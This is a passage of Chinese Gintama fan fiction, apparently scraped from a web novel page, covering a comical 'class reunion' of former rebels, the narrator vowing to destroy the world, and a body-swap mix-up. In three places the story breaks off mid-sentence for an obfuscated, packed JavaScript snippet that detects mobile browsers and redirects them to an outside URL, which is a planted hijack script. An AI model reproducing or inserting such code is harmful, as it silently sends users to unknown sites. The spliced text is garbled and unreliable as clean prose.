“他应该也很好奇,当人类进入绝境的时候,我是会被当成祭品杀掉,还是会继续被他们爱着。” 可笑,这个世界的男人都这样自以为是吗?我怎么可能会那么乖乖地让他看戏。 “你到底知道了什么?”胧定定地望着我,语带冷然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298134|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “他是阿尔塔纳生成的变异体,那么天道众……必然也掌控着他吧,还是说,他也准备利用天道众来做些什么?”我摸着下巴,猜测着。 高杉给我的资料里头详细记载了天道众掌握着龙脉资源的情况,地球的龙脉充沛,作为变异体的虚必然强大得可怕。而拥有了强大实力的虚,经过数百年的挣扎肯定不甘于受他们控制。受到那么多伤害的他,憎恨却又向往人类的他,会想要做什么不难猜。 “他是奈落的首领,也是我们效忠的人。”胧这话说得避重就轻的。 “那就是干活的,还不是天道众那些领导了。”我直接戳破奈落的真实地位。 好歹在春雨混过,我对他们背后的元老院和干部架构也不是一无所知。 “你家虚大人的运气真的不太好,数百年来没遇到一个好人不说,好不容易从被伤害努力强到有能力去伤害别人,结果干尽这些脏事,却还是只有地位,没有对等的权力。说到底,奈落首领也不过是天道众的傀儡。真可怜,要是我受了几百年虐待,自身又那么强大,我能让宇宙翻天……哎,你的虚大人什么时候奋起?是男人就不要认输嘛~” “你……”胧看我的眼神仿佛在震惊为何我会猜到这些,也间接印证了虚在密谋着什么。 “告诉你家虚大人,我选择了他。”既然是豪赌,当然得有个后续,这可是长文呢~ 那男人的眼神冷酷,不像是比我还窝囊的没主见反派。尽管现在还不清楚他具体想干什么,但……我在看到他的经历后真切的那个念头……他一定很有共鸣。 不断重复被虐待和杀戮的数百年,我唯一的想法只有毁灭吧,这个世界什么的……对于他来说,这个共鸣比我的结局更能让他放弃现在杀掉我。 一场以人类为主题的好戏,在我们共同的意念中即将上演。而主导的人,是他还是我,还真不好说。 不理会胧难得外露的惊讶,我笑着拍了拍他的肩膀,“你呢,松阳的大弟子,要选择我么?” 什么赎罪?胧救我,在我眼里多少是想要向银时他们靠拢。那三个笨蛋,仿佛把照顾和保护我当成了松阳留下的课后作业,而胧就像想要跟这些师弟们有共同的任务般把护着我作为最后维系着松阳弟子身份的那根线。 该说真不愧是那个蠢男人的弟子吗?一堆人凑不出一个正常的脑子。 听到那个称呼,胧的脸色一暗,“阿萤,你想要做什么?” 我哼了声,还能干嘛?当然是…… 抿了抿唇,我拿出一张纸,一本正经地道,“参加同学会,有人把邀请信放在医院了。” 胧那双冷傲的眸子瞬间崩坏成死鱼眼,面色一沉。 我懒得理他,挥挥手转身走了。 每次跟胧见面都问不出什么有价值的东西,我有时候都怀疑他到底为什么执着见我。总不能因为喜欢我吧? 嗯,想想就有点晦气,我对杀过我的男人都没兴趣。 65.同学会关系复杂 跟着服务员来到包厢前,我还在感叹这次的组织者真大方,这个地方死贵死贵的还能包下来。我有混得这么好的同学吗? 这样想着,我心不在焉地拉开门。 “哟,你还没死啊。”翻着死鱼眼的坂田银时朝我举了举手,他身边坐着的是手缩进袖子里的桂和一个巴拉着墨镜瞪大了眼看过来的棕黑色天然卷男子。 “银时,太过分了,明明那么担心……”桂不悦的斥诉还没说完就被打趴了。 “闭嘴,假发!”银时没好气地压着他的头,“谁有空担心这个在自己家被揍出门的弱鸡啊!平时光惹风流债,稍微花点时间练习一下也不至于挫到这地步好吧。” “金时,刚才你不是这样说的……”辰马的话还没说完就被银时踹翻了。 懒得理会他们打闹,我环视了一圈,果然没看到那个人,叹口气。 “走错了,不好意思。”随手拉上门,我转身就走。 “啊啊——不要!” 两个身影以常人难及的速度拉门扑过来一气呵成地抱着我大腿和腰。 “阿月,是我啊,是我啊,你忘记了你可爱的队长了吗?你回来那么久都不跟我联系,实在太伤心了……”坂本辰马抱着我的腿,被我拖着走。 “你在宇宙怎么联系?你倒是来地球看我啊。” 我懒得理会他,回来后不是没想过找辰马,但他跟快援队这段时间都没来地球,宇宙那么大我怎么找? 挣不开辰马的手,我转头对桂斥道,“松手,假发。” “不是假发,是桂。”桂坚持的抱着我的腰,眼泛泪光地抬起头,“难得我们攘夷同学聚会,你怎么可以那么无情转头就走?” 攘夷是什么学校吗?还同学会?真选组知道了会哭着把我们一网打尽的好吧! “同学聚会这种东西是看价值的。没有医院各科的主任医师,没有幼儿园大中小班的老师,也没有小学班主任和校长等等的这些同学会,那就没有任何参加的意义了。” 我利益至上地淡道,过来纯粹看看是什么同学会而已,在这个世界我还没上过学。结果,精英没几个,全是混得奇奇怪怪的恐怖分子。 “阿月,虽然我也认同你的观点,但就算没有那种东西,也是我好不容易出场的机会啊!你都不知道我已经成为OP和ED党,就连同人文出场的几率也不高……明明我就是个极好YY的对象啊,为什么都不以我为主角呢?”辰马委屈得不行,耍赖地把大长腿也盘上我的小腿,铁了心不让我走。 我没辙地低头瞥了他一眼,嗯,确实除了脑子都是高配。 “那大概是因为你的官配太过明显,大家没什么发挥空间吧。” 我听说过他现在的副手是个干练美丽的姑娘,银时曾吐槽他是走了狗屎运找了个能干的妙龄管家婆。不同于银时四面八方的单箭头,辰马能关联的女性就只有那位副手和阿妙口中被他求婚多次的阿龙。 辰马以拳击掌,恍然大悟,“原来是陆奥的问题,难怪我每次向阿龙小姐求婚都被拒绝。不管啊,我现在的戏份已经比野比他爸还要少了,因为一直不进入主线,搞得我都没有出场的机会。” “不,我觉得你被拒绝不是因为她,而是占你生命中那九成的夜店和流浪癖。”我叹口气,拍拍他的头鼓励一下,“至于主线什么的总会开始的,你努努力,看看能不能从野比他爸干成小丸子的爷爷吧。” 那老人家戏份还挺多的,也讨喜。 “阿萤,就算你不想要看到野比他爸,你连妈咪也不管了吗?妈咪也想要参加同学会啊~”桂抱着我的腰,不顾矜持地眼泪汪汪,那委屈的模样仿佛是阻拦不孝女儿跟小黄毛私奔的老妈子。 “你平日开那么多攘夷会议,还差这种局吗?”我不能理解,有点遗憾,“哎,还以为晋晋也会来呢。” 来了就刚好跟他交流一下春雨的内部问题。阿伏兔跟我说他跟那个叫佐佐木异三郎的幕府高官还有春雨都有勾结,看样子是铁了心毁灭世界。 啧,真有大志,我也得学着点,要突进一下我的事业才对。 “什么?没有他你就不来了吗?为什么同样的OP党,你就是偏心他!”辰马和桂都不爽了。 我有点无辜,要说偏心的话还真轮不上高杉,只是他们都来了,就少了那么一个任谁都会关心一下好吧。 “辰马你才偏心呢,你送假发礼物了,伊丽莎白多好啊……怎么不见你送我宇宙宠物?” 我要求不高,只想要一只名为谕吉的能干黑猫,我能让它不再抑郁,而它能让我往后余生再无烦恼。 辰马吃惊地仰头看着我,仿佛听到了很无理的要求,“你都有他们三个可以耍了,还要什么宠物?” 我翻了个白眼,他说得太理所当然一时间不知道从哪个角度反驳。啊不对,他们又不是宠物…… “看吧,阿萤你都不反驳你偏心没来的那个这一句!”桂的重点一如既往地抓错了,抿着唇不忿地道。 我再次无语,我那是偏心吗?那是担心好吧。 “就是偏心!” 一手搭在门上,一手藏在衣服里的坂田银时没精打采地看过来,语带酸意地撇撇唇,“那种家伙就算是来,也不过是坐在那玩手机罢了,根本不会有人跟他搭话。我们三个杵在这里,你就只惦记着他……哼,他那身板子可是一点胸肌也没有的哦。” “重点是这个吗?”我无语,高杉瘦归瘦,身材也还是不错的。 啊不对,差点被他带偏了,是因为他们的话每天都能见,高杉那小子都不知道跑哪了,又没联系方式又从事那么危险的工作,我担心一下也是正常的吧。 “来都来了,进来吧,都是听两个白痴说起当年,搞什么突进过去篇,阿银才不要一个人遭这罪,别想逃。”银时一个手臂过来箍着我的脖子,直接把我拖回去。 “银时,放开我,快要喘不过气了!” “才不要呢,你个偏心鬼去死吧。” 我掰不开他的手,辰马和桂坚定地抱着我的腿和腰不放,一并被他拖回去。 说实话,听着辰马和桂说起过去,我有点疑惑,忍不住悄悄靠过去低声问,“呐,银时,我是攘了个假夷吗?我们什么时候打过篮球比赛?” 他翻着一双快要睡着的死鱼眼,懒散得很,“在你我都不知道的时候……” “你又什么时候跟他去自动售卖机买东西了?”越听越离奇,我忍不住再问。 “在你不知道的时候……”他都要打瞌睡了。 “那……你们都不记得黑子了吗?”篮球就算了,这个忘记就有点离谱,明明高杉还记得。 银时转头看着我,摸着下巴很认真地问道,“有这个人吗?” 我无言以对,他问得太正经,我有点怀疑我的记忆。叹口气,我决定去个厕所冷静一下。 “喂,别跑掉啊,我可不想独自担任这两个白痴的吐槽役。”银时一边应付桂和辰马,一边警告般瞥了我一眼。 懒得理他,我挥挥手,直接拉门出去。 从洗手间出来,我抬头看像摄像头。那种被窥视的感觉太过强烈,女人的第六感让我伸出手朝它比了个打枪的手势。 啪的一下,整个餐馆的灯忽然就灭了,房间除了我们那个包厢基本都没人了。我挑了挑眉,看向摄像头。 “呵呵……” 虚无缥缈的笑声轻轻地响起,我瞬间警惕起来,下意识贴墙,摆出应战的姿态。 “不愧是阿萤呢~”那道声音很熟悉,熟悉得我一下子便放松下来。 “黑子?” 角落里头慢慢出现一个身影,带笑的声音褪去那种刻意的虚无,踏实起来,“好久不见了,阿萤……不过,你真的是保持了25岁的样子呢。” 那也不算保持了,我意味深长地笑了笑,打开手机,微光打在他身上,影照出那张对我来说不算久违的脸,“你也跟之前没变好么,难怪他们都觉得你是幽灵了。” “男人也是很重保养的好吧。”另一道声音传来,依然熟悉。 “泽木?”我惊喜地看过去,那个男子慢慢走过来,露出一个笑容。我顿时一愣,“不好意思,认错了。” 男子脸一垮,瞬间泪了,“哇,阿萤你居然不认得我了?我是泽木铃啊!” 一身肌肉虎背熊腰的男子捂着脸可怜兮兮的样子让我嘴角一抽,“你自己看看,哪一点像当年那个清秀少年?” 真隔了十年不见也许能理解,但我可是从十年前咻地跳跃过来,这落差也太大了吧! 黑子噗嗤一下笑开了,“我就说他即使露面,银时大人他们也认不出来。” 泽木不高兴地撅起嘴,“那更不能出现,我可不想在偶像那里破坏形象。” 不是我瞧不起他们的记忆力,泽木你偶像大概率已经忘记了你。 不忍心打击他,我朝他们笑道,“你们都来了,怎么不出现,在这装神弄鬼的,是想要整他们吗?” 这招估计只有银时那个怕鬼的天然卷会中招吧。 “啊哈哈,也不是。只是有人以黑子野太助的名义想要对他们不利,我总得来看看。”黑子野太助本人搔了搔头,一如当年的温文。 “谁?摄像头后面的人吗?”我抬头看向闪着红点的摄像头。 忽然一阵惨叫,随后便是咚咚咚的跑步声,还有某个白痴极有节奏感的多啦B梦主题曲。 我们三人面面相觑一阵无语。 “啊,他唱错歌词了。”我举报。 “这不是重点吧!”黑子+泽木。 好吧,第二段还忘记歌词……我摇摇头,问道,“你们要过去吗?” “黑子去帮他,我们去把始作俑者处理一下吧。”泽木往另一个方向偏了偏头。 找到控制中心的过程比想象中顺利,我拿着枪抵在又子的后脑,笑着道,“装鬼吓人我是无所谓,但是要动他们……我可不放过你哦。那几个都是我罩的笨蛋呢,又子~” 来岛又子气愤地瞪着泽木把她的仪器关掉,恨铁不成钢地埋怨手下动作太慢。 “阿萤阿萤阿萤阿萤阿萤阿萤……” 从天花上一跃而下,脚踩那个把我名字当成辟邪咒语的天然卷,我没好气地扫跌那几个cos篮球员的人,才瞪着那个脸色吓得煞白的笨蛋,“我说,这个驱邪方式你就不能过两章就忘记了吗?唱多啦B梦多好啊,不过记得第二段歌词唱错了。” 银时一看到我就抓着我挡在身前,手臂把我缠得死死的,生怕我丢下他似的。 “你滚去哪里鬼混了?幽灵都把假发和辰马抓走了!”他的样子仿佛受到了很大的惊吓,连吐槽都顾不上,缩着身子躲在我身后。 “这里除了被你叫出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303621|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的召唤兽啥都没有。”挣不开他的手,我转过身没好气地揪着他耳朵,“给我好好想一下,黑子到底是谁啊混蛋!” 大概是痛让他清醒了些,当然也有可能是因为不是一个人了,银时迅速反应过来,一下子干掉了那些鬼兵队的人,顺便把所有罪名都理直气壮地套在了没来的高杉身上。 这场莫名其妙的同学会,以叙旧散场。 打了个哈欠,被揪着浪费半晚的我走在回家路上,抬眸便看到了两个靠在电线杆上抱手而立,一脸深沉的男人,其中一个还是刚重刷了银时记忆的黑子同学。 “一把年纪就别装了,好么。”我顶着满头黑线吐槽。 真以为自己都跟我一样,年年25保持年轻美貌么? “阿萤,”泽木看着我,意味深长地问道,“你打算做什么?” 我眨了眨眼,理所当然地回道,“回家睡觉啊。” “你那眼神……分明就是恐怖分子的眼神哦。”黑子笑眯眯地俯身凑近我。 没好气地挑眉,他们是没见到方才的几个么?跟刚挑完江户城和干掉上任将军的银时他们比,我简直就是良民。 “上次看到这个眼神的时候,你不是建议大家去攻打江户,就是带着我们去抢了幕府的武器,身体力行实践倒幕哦,影子杀手~”泽木嘿嘿一笑,揶揄着。 “什么杀手,我不承认,不是我,别胡说!”其他都可以,就这个不行,那么挫的外号我绝对不要! 黑子两人噗嗤一下笑开了,“所以,现在的你想做什么呢?” 看他们的架势,我不说些什么大概走不出这条路了。男人执拗起来有多难糊弄,我早就从joy3身上见识过了。 “想要泡一个老男人,命运希望我跟他殉情。”我偏头,似笑非笑地道。 虽然表达有点诡异,但意思差不多。要我去封印暴动的龙脉,那不就是干掉虚的同时献祭我自己吗? “啊哈哈,啊哈哈哈……金时他们知道你又招惹这些混事吗?”爽朗的笑声从上头传来,我抬头看去,辰马晃着大长腿坐在墙头,墨镜在晨光下反射出光芒。 “别想忽悠我们哦,阿月。我们可不是那三个笨蛋轻松就被你忽悠过去,你那眼神分明就是要干坏事的眼神。从攘夷时起就是这样,看着最无害实际却一肚子坏水,总是在奇奇怪怪又关键的地方疯狂起来……也就只有金时他们三个老是忽略这些傻傻地把你当弱鸡护着。” 辰马跳下来,笑容有点傻气,但是那语气却意味深长。 我颇为同意地点点头,又摇头。 银时他们不是不清楚我的实力,只是他们总是下意识把我放在需要保护的位置罢了。这三个矛盾的家伙能信任我允许我留在战场,甚至战斗时会放心地把后背交给我,但总是在其他时间一厢情愿地认定我是个弱鸡。 我同意那三个是笨蛋,但一肚子坏水我还真不承认。一直以来,我都是良民,和谐社会里长出来的花儿,是黑暗中也会闪闪发亮的萤火虫,嗯……虽然当过宇宙海盗,也当过攘夷志士,逛过花街,但没喝成花酒。 “阿萤,我们跟你是并肩的,虽然没当年清秀,但折腾的心还是一样哦~你说过的嘛,生命的意义就在于折腾。”泽木咧笑,不在乎地耸肩,“反正一直被幕府的杀手追杀,能干点什么也不错啊。” 攘夷战争之后,泽木曾跟坂本辰马一起去宇宙绕了一圈,但后来因为家人被幕府的人清算,他回地球复仇了。当然,个人拼不过幕府,最后只得拖家带口浪迹宇宙。 啊,他老婆还是我熟人呢。 “说起来,我的快援队初始资金还是你的,这么说的话……糟糕了,”辰马搔了搔后脑,满不在乎地道,“陆奥还不知道一直以来都是替你打工呢~” “我们还有合作的默契,那么好的搭档不用白不用哦~”黑子笑着总结。 我难掩疑惑地看着他们,不太能理解为什么他们看起来比我更热衷于干坏事。尤其是泽木和辰马,这两个人连表情都不掩饰,跃跃欲试的,俨然一副随时可以上手开干的样子。 怎么,宇宙很无聊吗?他们为什么都是一副憋坏了的坏小子样?快援队的生意这么平静没波澜吗? “呐,三位,”我挑眉,懒懒地举步越过他们,笑容比朝阳灿烂,“我可是打算成为人类公敌哦~” “诶~”黑子微微一笑,双眸一亮,“听起来不错哦~阿萤你要征服人类吗?” “切,”我不屑地轻嗤,“人类有什么难征服的?只要掌握了他们的工资袋,全人类都会甘愿成为你的牛马。我要做的,可是比这个更好玩呢~” 虽然掌握人类工资袋这个过程比较难,但在这个世界嘛……也不一定做不到,天人的设定方便到逆天。 “啊哈哈,啊哈哈哈,啊哈哈哈哈……跟人类为敌吗?听起来比倒幕更可怕呢~”辰马摸着下巴,语气很是期待。 是的,我想要做一件事,一件与人类为敌的事。 我回身看着他们,笑着道,“不是征服人类,也许……是毁灭人类哦。幕府算什么,我想要毁掉的,是这个世界。” 我想要做的,不过是跟高杉一样,把我讨厌的这个世界,让他们都痛苦的世界,亲手毁掉。 时代无法如我所愿,那就改变它呗! 既然命运随便把我拉过来,那我对这个世界就不必太客气了。 66.灵魂转换的混乱 原本繁华的街道莫名地站了两队奇奇怪怪的人马,因为一些不知名的原因忽然对峙起来。 我披着被神乐连哄带骗换上的蓝色羽织,拿着挂着万事屋布条的竹竿,混在一片蓝色海洋中分外无语。 桂作为一个攘夷头子,带着一众志士加入万事屋是我不曾想过的,没想到他们倒是适应良好,全听银时的号令。 真不愧是我军的王牌,出走多年依然可以一秒回归,就是这规矩比以前多了些。 “阿萤,紧跟着我这个万事屋第三番队队长桂小太郎,对于扰乱江户和平的恶贼……恶*即*斩!” 我嘴角抽了抽,完全不想要附和这种脑残的宣言,也不知道为什么忽然全员牙突,我只觉得这两天好玄幻啊。 比起这边的异常,对面的真选组也好不了多少。原本规整的制服全部变成无袖开胸款,以前只觉得他们做法像流氓,现在是从内到外都流氓化了。 但话说回来,他们的身材还真不错……胸肌腹肌都很明显,线条也很漂亮。啧啧,近藤随时坦荡荡我早就看过他身材了,没想到山崎居然也不错……还有冲田那小子,意想不到的结实,可惜那位魔鬼副长今天穿得有点严实啊。 糟糕,是我眼神太直白了吗?土方十四郎瞪我的眼神像是要冲过来挖了我的眼睛……他果然很在乎这些同僚,啧啧,银时说得没错,真选组果然是基佬窝。 “社长,我们绝不认输!”神乐一本正经地朝站在两队人马中间的银时道。 我看着她的信服,不想提醒她两天前还因为那人把钱全赌光了发不起工资而跟新八追杀他到出车祸。还好没出什么事,不然我都想好好教育一下,那种老板先拿他的糖引出来然后打一顿再把他的私房翻出来就行,不用追的。 说起来……我视线落在对面的土方十四郎身上,不知道是不是我错觉,那个总是严于律己的副长今天好像有些颓废,除了瞪我外一直没精打采的样子,是睡眠不足吗? 反倒是银时那家伙,像是打了鸡血一般,攘夷时期还没见他这么神清气爽过。啧啧,他是怎么了?居然弄发型了?恋爱了吗? 两队人马一言不合,连社长和副长的命令都不管不顾,正面冲突起来。我为着荒诞的发展无语,悄悄地躲了,坚定地回归正常人的范围。 万事屋都在跟真选组互殴,我无聊之下便打算去看看阿妙,她说有个新朋友要介绍我认识。 夜幕降临,我坐在新八家的走廊上,晃着脚丫摸摸肚子,“阿妙,我饿了,你的新朋友还没回来吗?” “应该快了的,不要紧的,你饿了就先吃吧~”阿妙看了眼天色,朝我笑道。 闻言,我马上跳了起来,“我去那个水果吃也行。” “啊啦,少天真了阿萤,你进来那一刻还没有觉悟吗?”阿妙掩口笑了。 我哈哈一笑,拐去厨房,先把正常的饭菜吃饱了,才慢悠悠地回去。 “阿妙,你的朋友回来了没?我把水果带过来……”拉开门的那一刻,我有点被眼前的画面吓到。 银时和阿妙并排坐在走廊上,他轻握着阿妙的手,一脸认真地对她说,“和我在一起吧。” 我手中的苹果啪地跌落在地上,愣愣地看着他们。 他……刚刚……坂田银时他……刚刚是在告白吗?向阿……妙? 下一瞬,一道黑影迅猛袭来,一手把银时的头砸进走廊里头。土方十四郎恶狠狠地抓着他的头压低声音说着什么对熟人这样说等过后会很尴尬啥的。 “诶,阿萤……”阿妙回头看了我一眼,那两人也发现了我,脸色顿变。 场面一度尴尬,阿妙作为主人家疑惑地问道,“那个,土方先生怎么会在这里?” 比起那个,我更好奇的是晕倒在地上的那个又壮又高下半身还打了马赛克的白色物体是什么东西。 “不是,你怎么会在这里?”土方十四郎指着我震惊地问道,脸色忽然煞白,那心虚又尴尬的样子仿佛做了什么对不起我的坏事。 “不……你在这里才奇怪吧,土方桑。”我眨眨眼,忽然想起什么般,“你们在干嘛?” “对哦,我是土方……”像是想起了什么般,土方以拳击掌,随即站起来笑着对阿妙道,“不好意思,忘了这家伙刚才说的话吧,啊哈哈,我听说了,你已经有了猩猩,不,近藤局长还跟其他人有牵扯……” “什么意思?”阿妙不明所以。 蓦地,土方伸手把阿妙逼退在木柱边,伸手给了她一个壁咚,扬起自信的笑容,“意思是,忘了刚才那臭猫和猩猩,跟我这鬼之副长共享party night吧。” 我眼一眯,一个飞踢连同银时的脚一起踩在他身上。 “你干什么啊混蛋——老子现在跟你有关系吗?”土方顶着一头血吼完我,又转头朝银时喷道,“你自己不也这样做吗?以牙还牙以眼还眼,有什么不对!” “这做法就算给我下跪也不可饶恕啊,混蛋!”银时气急败坏地吼,“对局长的女人横刀夺爱,你武士道觉悟不够,切腹去吧!” “你们都住手啊,”阿妙连忙劝道,脸色潮红,“没想到你们对我有这种感情……我明白了,我会把银桑和土方桑的条件综合考虑一周时间的!” “不是那个!重点是你要跟那只猫分了!”银时+土方。 “那可不行,我和土左卫门是不能分开的。”阿妙看了眼那只白色怪物,坚定地拒绝。 好混乱……他们在说什么? 我还没从银时向一个女人告白的冲击里缓过来,只听到她要综合考虑年收入等来择偶便慌了,脑子里只有一个念头——那我们银时不就输定了? 不行!我们家的男人绝不能输! 冷笑一声,我慢慢走过去拍拍阿妙的肩膀,死亡凝视着土方十四郎,“啊啦啊啦,不用那么麻烦……” 银时和土方两人回头看着我,脸色怪异又心虚。 “土方桑,我们家银时好不容易喜欢一个好姑娘,还鼓起勇气告白……天王老子来了也不能给我抢走这段姻缘啊!”我手一扬,激光剑出鞘,“为了他的幸福,你去死一死吧!” “诶——等等!”土方惊骇地瞪大了眼,“谁喜欢她了?” 一刀横劈下去,他狼狈地跃后。 我摆出应战的姿势,认真严肃地道,“你对阿妙的告白我听到了,但我们银时先告白的,所以拔刀吧,土方桑!” 一旁的银时慌得双手乱舞,连忙劝道,“不是,这事不是你想的那样……” 看到他难得的慌乱,我大感心疼,都说恋爱会让高傲者自卑,没想到连一向傲娇又毒舌的他也这样没自信。虽然他现在是废柴了点,对手又是有编制的公务员,但是……银时也是有优点的,比如……嗯……那个…… 我很努力地想了又想,越来越心虚和没底气。 卧槽,撇开那些不能说的辉煌过去,他真的没什么能跟土方十四郎比! 不行!我要帮他把对手干掉,这样他才有胜算! “别担心,银时,你的幸福我一定会守护到底的!谁也别想抢走你喜欢的姑娘!”我坚定地对他承诺,猛地跃起,手腕灵活挥舞激光剑。 土方十四郎慌乱狼狈地躲开我的攻击,懊恼又烦躁地朝我吼道,“给老子清醒一点啊!” 清醒?不,我现在非常清醒……我们家银时苦了这么久,风流债惹了一堆一个结果的都没有,现在难得敞开心扉喜欢一个姑娘,还是阿妙这种温柔坚强又年轻漂亮的好姑娘,尽管我心底有点地位不保的酸涩,也有点被抢走什么般的不爽,但……现在他的幸福比较重要,我绝对不会让人破坏! 我知道他跟真选组关系好,肯定不会对土方动手,没关系,我可以! “土方桑,拔刀,我们决斗吧!我要为了他的幸福而战!” 狼狈地躲着我的攻击,土方抓狂般怒喊,“谁要这种幸福啊混蛋——” 不耐他的一味躲避,我揪准机会狠踢,正中他的脸,受力之下他整个人砸向木质走廊。 “喂——你要对我的身体做什么啊!”银时仿佛才反应过来,连忙跑过来拦在我和土方之间。 我剑指着土方,沉着脸道,“银时,走开。面对朋友你不好出手,但我可以……我一定帮你捍卫你难得的恋爱机会!” “谁恋爱啊混蛋,你能不能听人话啊!”土方猛地蹦起,抖落一堆木屑。他一个箭步上前,隔着银时怒指着我,“把你那掉线的脑子给老子捡起来……” 我压根不想听土方的辩驳,零秒出手,一把抓着他的手腕,马步一扎就是一个过肩摔。他反应极快地双脚着地,腰部用力一旋,手臂箍着我把我整个人甩起来。 意料中的痛没袭来,他的手护着我后脑,以腿给我后背垫着落地,几乎把我护在怀中。 不愧是魔鬼副长啊,连打斗都能关照着作为对手的我……但为了银时,我不能领情这份温柔。 我眼一眯,手肘狠狠砸在他胸腹,极快旋身站起,抓着他的手用力一甩,把他狠狠摔往院子里的树丛。 “啊——你们够了,别对我的身体乱来啊混蛋!”银时抓狂地跑过去,我猝不及防地被他撞了一下,差点摔倒。 “银时……你……”我惊诧地指着他们。 银时把土方拖出来,心疼地摸摸他被树枝刮到的脸。 土方吃力地睁眼看着我,唇角微勾,罕见地笑得带点邪气,“真是的……战争时不见你这么勇猛,你个摸鱼大王……不拿剑倒是把体术给捡起来了啊。” 我后知后觉地回想起方才他躲闪的招数,好像很熟悉……他,他们…… “不对,你……你是……”颤抖着手指,我指着土方,难以置信地低喃。 “嘿嘿,这才发现吗?蠢货。”土方扬眉,咧出一抹跟银时极像的坏笑。 脑中灵光一闪,我猛地捂颊,抓狂地叫道,“没想到是这样……阿妙是障眼法,土方桑才是你的真爱!连打架方式都差不多,这默契就是所谓的天生一对吗?还你的身体……天啊,你们都……都是这种关系了吗?” “what?”银时和土方对望一眼,发现姿势的暧昧,猛地推开对方,齐齐朝我慌乱地摆手,“不是,不是这样的!” 此刻我眼中只有他们方才心疼对望的样子,那画面美好得让我整个人都不好了! 我不歧视任何一种爱,只是……我们银时从来没有过血亲,要是他们在一起,那不是连孩子都不会有?虽然不是有血缘关系的才是亲人,但除了家人和同伴,我也希望他能拥有跟他血脉相连的亲人啊…… 坂田银时这个混蛋没安全感又怕寂寞又自虐,本性如浮云般难安定,总是时刻想着牺牲自己去保护他人,世上能有这种实打实的血脉关系他可能会更加安心踏实,更懂得珍惜自己的狗命! 这个世界世俗的幸福,他都值得拥有的! “为什么……”我震惊得瞳孔都轻颤,声音不稳,“是什么时候开始的……是因为以前喜欢的游女总是喜欢晋晋,还是因为对松阳太过向往?啊,莫非是因为发情期的时候身边都是一堆男人……所以才……扭曲了?” “混蛋!”土方猛地冲过来,一拳砸在我头上,扣着我肩膀羞愤地怒道,“给老子停止你无聊的脑补,老子正常得很,喜欢的是颜好身材正的女人啊!需要老子证明吗?” “喂,别用我的身体揍女人啊!”银时连忙拉着他。 我眼底都扬起泪光了,颤抖着手指着土方,“银,银时……他都是你的了吗?身体什么的……你们真的是这种关系了?” “不,不是这个意思!”银时+土方,惊恐脸。 我抱头抓狂,一时间无法接受这种冲击,“什么鬼啊,有我这样颜好身材正的美女从小在身边,你还能喜欢土方桑这样跟你差不多的男人……你不是一堆单箭头的桃花等着的吗?我最多只以为你跟晋晋是真爱而已……没想到,你是自恋到什么地步?这都是什么鬼啊,你这样还不如喜欢我!” 土方震惊得眼都瞪大了,语无伦次起来,“不,那个,我不是……” “我没问你意见!”我怒瞪着土方。 他以为自己是谁?谁TM管他土方十四郎怎么想啊! “不是,他才是……”银时脸色更难看,手指指着我和土方,不知道慌什么。 等等,这不是什么大问题,重点是他们……刚做了什么! 忽然间,我反应过来,一阵无名火从我心底烧起来。看了一眼跟忽然回来的新八说话的阿妙,我阴沉地看着他们。 “你们……不,银时,土方桑,你们喜欢对方还分别跟阿妙告白?取向没关系,你喜欢的话……我也可以接受家人里多一个男人,但是……欺骗女人的感情,罪无可赦!” 激光剑骤然朝他们劈了过去。 “都说了不是啊——”两人动作一致地翻身跃起。 银时看准我攻击土方的瞬间,猛地抓着我的手腕,“别闹了,我们在做正事啊!” 我骤然停下,震惊地看着他,“你……凶我?” “哇啊,你做了什么啊!”土方抓狂地搔着头发,扑过来拍开他的手。 我看银时的眼神就像是有了小妖精化身后爸责骂无辜女儿的老父亲,委屈感翻涌而上,“好好好,你有了新欢就翅膀硬了是吧,不但打我还凶我……讨厌!” 我要跟高杉告发他们! 狠狠地一脚踹飞他,我转身就跃出这座宅邸,决定先冷静一下免得爆笑出来伤感情。 “你到底做了什么蠢事啊——这混蛋有多难哄你知道吗?” 身后,是土方崩溃的咋呼。 才走了没多久,疑虑还没消,便听到阿妙响彻天际的惊呼声。 出什么事了吗?我脚步一顿,连忙朝那边跑去。 “啊——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15313910|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 尖叫声传来,我猛地抬头,那头奇怪的生物正抱着阿妙在屋顶上飞跃。用力一踏,我跃上屋顶追了过去,“阿妙!” “阿萤,救我……” 飞跃之际,两道身影极快地靠近他们,我定睛一看,是神乐和冲田总悟。两人勾肩搭背的,我纳闷他们关系什么时候那么好? 紧接着,桂和伊丽莎白突然蹦到他们身后,利落地一脚把冲田两人踩下去。一堆人砸成一团跌进了那边的仓库。 在我落地前,看到银时和土方也冲了进去。 异样的感觉太明显,我悄然地靠近门口,听到里头混乱的角色扮演。 